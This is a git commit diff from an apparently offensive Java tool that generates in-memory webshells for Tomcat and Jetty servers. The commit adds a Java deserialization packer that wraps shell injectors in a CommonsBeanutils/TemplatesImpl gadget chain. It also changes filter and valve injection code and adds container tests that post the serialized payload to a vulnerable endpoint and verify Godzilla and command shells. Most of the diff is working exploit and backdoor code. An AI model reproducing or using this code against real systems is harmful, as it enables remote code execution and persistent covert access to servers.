feat: support deserialize packer (but only CB4)

This commit is contained in:
ReaJason
2024-12-10 21:07:41 +08:00
parent 60345851f5
commit 5e0b47956d
37 changed files with 690 additions and 62 deletions
+46
View File
@@ -0,0 +1,46 @@
plugins {
id "io.freefair.lombok" version "8.11"
}
group = 'com.reajason.javaweb'
dependencies {
implementation 'net.bytebuddy:byte-buddy:1.+'
implementation 'commons-beanutils:commons-beanutils:1.9.3'
testImplementation platform('org.junit:junit-bom:5.+')
testImplementation 'org.junit.jupiter:junit-jupiter'
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.lang=ALL-UNNAMED',
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
java {
toolchain {
languageVersion = JavaLanguageVersion.of(11)
}
}
test {
useJUnitPlatform()
}
File diff suppressed because one or more lines are too long
@@ -0,0 +1,52 @@
package com.reajason.javaweb.deserialize;
import com.reajason.javaweb.deserialize.utils.Reflections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import lombok.SneakyThrows;
import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType;
/**
* @author ReaJason
* @since 2024/12/9
*/
public class TemplateUtils {
public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler";
public static Class TPL_CLASS = TemplatesImpl.class;
public static Class ABST_TRANSLET = AbstractTranslet.class;
public static Class TRANS_FACTORY = TransformerFactoryImpl.class;
static {
try {
// 兼容不同 JDK 版本
if (Boolean.parseBoolean(System.getProperty("properXalan", "false"))) {
TPL_CLASS = Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl");
ABST_TRANSLET = Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet");
TRANS_FACTORY = Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl");
}
} catch (Exception ignored) {
}
}
@SneakyThrows
public static TemplatesImpl createTemplatesImpl(byte[] bytes) {
TemplatesImpl templates = new TemplatesImpl();
byte[] fooBytes = new byte[0];
try (DynamicType.Unloaded<Object> make = new ByteBuddy()
.subclass(Object.class).name("foo")
.make()) {
fooBytes = make.getBytes();
}
Reflections.setFieldValue(templates, "_bytecodes", new byte[][]{
bytes, fooBytes
});
Reflections.setFieldValue(templates, "_transletIndex", 0);
Reflections.setFieldValue(templates, "_name", "SimpleJava");
Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
}
@@ -0,0 +1,49 @@
package com.reajason.javaweb.deserialize.utils;
import com.reajason.javaweb.deserialize.CommonsBeanutils19;
import java.lang.reflect.Field;
/**
* @author ReaJason
*/
@SuppressWarnings("restriction")
public class Reflections {
static {
try {
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Object unsafe = unsafeField.get(null);
Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null);
java.lang.reflect.Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class);
Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module"));
java.lang.reflect.Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class);
getAndSetObjectM.invoke(unsafe, CommonsBeanutils19.class, offset, module);
} catch (Exception ignored) {
}
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
} catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
}
return field;
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
}
+23
View File
@@ -22,7 +22,30 @@ idea {
}
}
def runtimeJvmArgs = [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
tasks.withType(JavaCompile).configureEach {
options.compilerArgs += [
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-exports=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
tasks.withType(Test).configureEach {
jvmArgs += runtimeJvmArgs
}
// For running the application
tasks.withType(JavaExec).configureEach {
jvmArgs += runtimeJvmArgs
}
dependencies {
implementation project(":deserialize")
implementation 'net.bytebuddy:byte-buddy:1.+'
implementation 'javax.servlet:javax.servlet-api:3.0.1'
implementation 'javax.websocket:javax.websocket-api:1.1'
@@ -0,0 +1,31 @@
package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import com.reajason.javaweb.deserialize.CommonsBeanutils19;
import lombok.SneakyThrows;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
/**
* @author ReaJason
* @since 2024/12/10
*/
public class DeserializePacker implements Packer {
@Override
@SneakyThrows
public byte[] pack(GenerateResult generateResult) {
Object payload = CommonsBeanutils19.getPayload(generateResult.getInjectorBytes());
return serialize(payload);
}
@SneakyThrows
public static byte[] serialize(Object obj) {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(obj);
oos.flush();
oos.close();
return baos.toByteArray();
}
}
@@ -3,6 +3,8 @@ package com.reajason.javaweb.memsell.packer;
import com.reajason.javaweb.config.GenerateResult;
import lombok.Getter;
import java.util.Map;
/**
* @author ReaJason
* @since 2024/11/26
@@ -17,6 +19,17 @@ public interface Packer {
*/
byte[] pack(GenerateResult generateResult);
/**
* 部分打包器可能需要配置来进行额外的配置项
*
* @param generateResult 生成的内存马信息
* @param config 配置
* @return 字节数组
*/
default byte[] pack(GenerateResult generateResult, Map<String, String> config) {
throw new UnsupportedOperationException();
}
@Getter
static enum INSTANCE {
@@ -28,7 +41,13 @@ public interface Packer {
/**
* 脚本引擎打包器
*/
ScriptEngine(new ScriptEnginePacker());
ScriptEngine(new ScriptEnginePacker()),
/**
* 反序列化打包器
*/
Deserialize(new DeserializePacker()),
;
private final Packer packer;
@@ -206,7 +206,6 @@ public class TomcatFilterInjector {
@SuppressWarnings("all")
public void addFilter(Object context, Object filter) throws InvocationTargetException, NoSuchMethodException, IllegalAccessException, ClassNotFoundException, InstantiationException {
ClassLoader catalinaLoader = getCatalinaLoader();
String filterClassName = getClassName();
Object filterDef;
Object filterMap;
@@ -230,8 +229,8 @@ public class TomcatFilterInjector {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap").newInstance();
} catch (Exception e) {
// tomcat v5
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, catalinaLoader).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, catalinaLoader).newInstance();
filterDef = Class.forName("org.apache.catalina.deploy.FilterDef", true, context.getClass().getClassLoader()).newInstance();
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap", true, context.getClass().getClassLoader()).newInstance();
}
}
try {
@@ -247,7 +246,7 @@ public class TomcatFilterInjector {
} catch (Exception e) {
// tomcat v5
invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, catalinaLoader).getDeclaredConstructors();
constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig", true, context.getClass().getClassLoader()).getDeclaredConstructors();
}
try {
// v7.0.0 以上
@@ -257,24 +256,18 @@ public class TomcatFilterInjector {
}
constructors[0].setAccessible(true);
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterClassName, filterConfig);
try {
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map) getFieldValue(context, "filterConfigs");
filterConfigs.put(filterClassName, filterConfig);
} catch (Exception e) {
// 一个 tomcat 多个应用部分应用通过上下文线程加载 filter 对象,可能在目标应用会加载不到
if (!(e.getCause() instanceof ClassNotFoundException)) {
throw e;
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
public ClassLoader getCatalinaLoader() throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads");
ClassLoader catalinaLoader = null;
for (Thread thread : threads) {
// 适配 v5 的 Class Loader 问题
if (thread.getName().contains("ContainerBackgroundProcessor")) {
catalinaLoader = thread.getContextClassLoader();
break;
}
}
return catalinaLoader;
}
}
@@ -42,6 +42,7 @@ public class TomcatValveInjector {
if (valve == null) {
continue;
}
System.out.println(valve);
injectValve(context, valve);
}
} catch (Exception e) {
@@ -157,6 +158,7 @@ public class TomcatValveInjector {
@SuppressWarnings("all")
public void injectValve(Object context, Object valve) throws Exception {
if (isInjected(context, valve.getClass().getName())) {
System.out.println("valve already injected");
return;
}
try {
+9
View File
@@ -14,6 +14,7 @@ version = ''
dependencies {
testImplementation project(":vul-webapp")
testImplementation project(':generator')
testImplementation 'org.hamcrest:hamcrest:3.0'
testImplementation 'com.squareup.okhttp3:okhttp:4.12.0'
testImplementation 'org.slf4j:slf4j-simple:2.0.16'
testImplementation 'net.bytebuddy:byte-buddy:1.15.1'
@@ -33,6 +34,14 @@ tasks.withType(Test).tap {
}
}
tasks.withType(Test).configureEach {
jvmArgs += [
'--add-opens=java.base/java.util=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.trax=ALL-UNNAMED',
'--add-opens=java.xml/com.sun.org.apache.xalan.internal.xsltc.runtime=ALL-UNNAMED'
]
}
idea {
module {
excludeDirs -= file('build')
@@ -1,5 +1,5 @@
services:
tomcat66:
tomcat56:
image: reajason/tomcat:5-jdk6
ports:
- "8080:8080"
@@ -0,0 +1,27 @@
package com.reajason.javaweb.integration;
import org.hamcrest.Description;
import org.hamcrest.TypeSafeMatcher;
public class DoesNotContainExceptionMatcher extends TypeSafeMatcher<String> {
@Override
protected boolean matchesSafely(String logs) {
return !logs.contains("Exception");
}
@Override
public void describeTo(Description description) {
description.appendText("logs without exceptions");
}
@Override
protected void describeMismatchSafely(String logs, Description mismatchDescription) {
mismatchDescription.appendText("found logs containing exceptions:\n")
.appendText(logs.replaceAll("(?m)^", " "));
}
public static DoesNotContainExceptionMatcher doesNotContainException() {
return new DoesNotContainExceptionMatcher();
}
}
@@ -5,7 +5,7 @@ import com.reajason.javaweb.config.*;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import java.util.Objects;
import java.util.Base64;
/**
* @author ReaJason
@@ -35,30 +35,33 @@ public class ShellAssertionTool {
.headerName("User-Agent").headerValue(headerValue)
.build();
log.info("generated {} godzilla with pass: {}, key: {}, headerValue: {}", shellType, pass, key, headerValue);
String godzillaContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer)));
assertInjectIsOk(url, shellType, shellTool, godzillaContent, packer);
byte[] content = GeneratorMain.generate(shellConfig, injectorConfig, godzillaConfig, packer);
assertInjectIsOk(url, shellType, shellTool, content, packer);
GodzillaShellTool.testIsOk(shellUrl, godzillaConfig);
break;
case Command:
String paramName = "Command" + shellType + packer.name();
CommandConfig commandConfig = CommandConfig.builder().paramName(paramName).build();
String commandContent = new String(Objects.requireNonNull(GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer)));
byte[] commandContent = GeneratorMain.generate(shellConfig, injectorConfig, commandConfig, packer);
log.info("generated {} command shell with paramName: {}", shellType, commandConfig.getParamName());
assertInjectIsOk(url, shellType, shellTool, commandContent, packer);
CommandShellTool.testIsOk(shellUrl, commandConfig);
}
}
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, String content, Packer.INSTANCE packer) {
public static void assertInjectIsOk(String url, String shellType, ShellTool shellTool, byte[] content, Packer.INSTANCE packer) {
if (Packer.INSTANCE.JSP.equals(packer)) {
String uploadEntry = url + "/upload";
String filename = shellType + shellTool + ".jsp";
String shellUrl = url + "/" + filename;
VulTool.uploadJspFileToServer(uploadEntry, filename, content);
VulTool.uploadJspFileToServer(uploadEntry, filename, new String(content));
VulTool.urlIsOk(shellUrl);
} else if (Packer.INSTANCE.ScriptEngine.equals(packer)) {
String uploadEntry = url + "/js";
VulTool.postJS(uploadEntry, content);
VulTool.postData(uploadEntry, new String(content));
} else if (Packer.INSTANCE.Deserialize.equals(packer)) {
String uploadEntry = url + "/java_deserialize";
VulTool.postData(uploadEntry, Base64.getEncoder().encodeToString(content));
}
}
}
@@ -38,16 +38,16 @@ public class VulTool {
}
@SneakyThrows
public static void postJS(String uploadUrl, String js) {
public static void postData(String uploadUrl, String data) {
RequestBody requestBody = new FormBody.Builder()
.add("js", js)
.add("data", data)
.build();
Request request = new Request.Builder()
.header("Content-Type", "application/x-www-form-urlencoded")
.url(uploadUrl).post(requestBody)
.build();
try (Response response = new OkHttpClient().newCall(request).execute()) {
Assertions.assertEquals(200, response.code());
Assertions.assertNotEquals(404, response.code());
}
}
}
@@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -17,13 +19,16 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty10ContainerTest {
public static final String imageName = "jetty:10-jre11-slim";
@@ -31,9 +36,13 @@ public class Jetty10ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -49,4 +58,10 @@ public class Jetty10ContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -15,14 +17,20 @@ import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty11ContainerTest {
public static final String imageName = "jetty:11-jre11-slim";
@@ -30,9 +38,13 @@ public class Jetty11ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -48,4 +60,11 @@ public class Jetty11ContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -6,6 +6,7 @@ import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -18,7 +19,11 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
@@ -34,8 +39,11 @@ public class Jetty61ContainerTest {
return Stream.of(
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -52,8 +60,9 @@ public class Jetty61ContainerTest {
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
}
// @AfterAll
// static void tearDown() {
// log.info(container.getLogs());
// }
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -17,13 +19,18 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty76ContainerTest {
public static final String imageName = "reajason/jetty:7.6-jdk6";
@@ -32,8 +39,11 @@ public class Jetty76ContainerTest {
return Stream.of(
// arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), // 不支持,初始化 Filter 时 jdk6 下会抛 Caused by: java.lang.NoClassDefFoundError: java/lang/ReflectiveOperationException
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -49,4 +59,10 @@ public class Jetty76ContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -17,13 +19,18 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty81ContainerTest {
public static final String imageName = "reajason/jetty:8.1-jdk7";
@@ -31,9 +38,13 @@ public class Jetty81ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -49,4 +60,10 @@ public class Jetty81ContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -17,13 +19,18 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty92ContainerTest {
@@ -32,9 +39,13 @@ public class Jetty92ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP)
arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP),
arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize)
);
}
@@ -50,4 +61,10 @@ public class Jetty92ContainerTest {
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
}
@@ -4,7 +4,9 @@ import com.reajason.javaweb.config.Constants;
import com.reajason.javaweb.config.Server;
import com.reajason.javaweb.config.ShellTool;
import com.reajason.javaweb.memsell.packer.Packer;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
@@ -17,13 +19,18 @@ import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.getUrl;
import static com.reajason.javaweb.integration.ContainerTool.warFile;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.hamcrest.Matchers.containsString;
import static org.hamcrest.Matchers.not;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2024/12/7
*/
@Slf4j
@Testcontainers
public class Jetty93ContainerTest {
public static final String imageName = "jetty:9.3-jre8-alpine";
@@ -31,9 +38,13 @@ public class Jetty93ContainerTest {
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP),
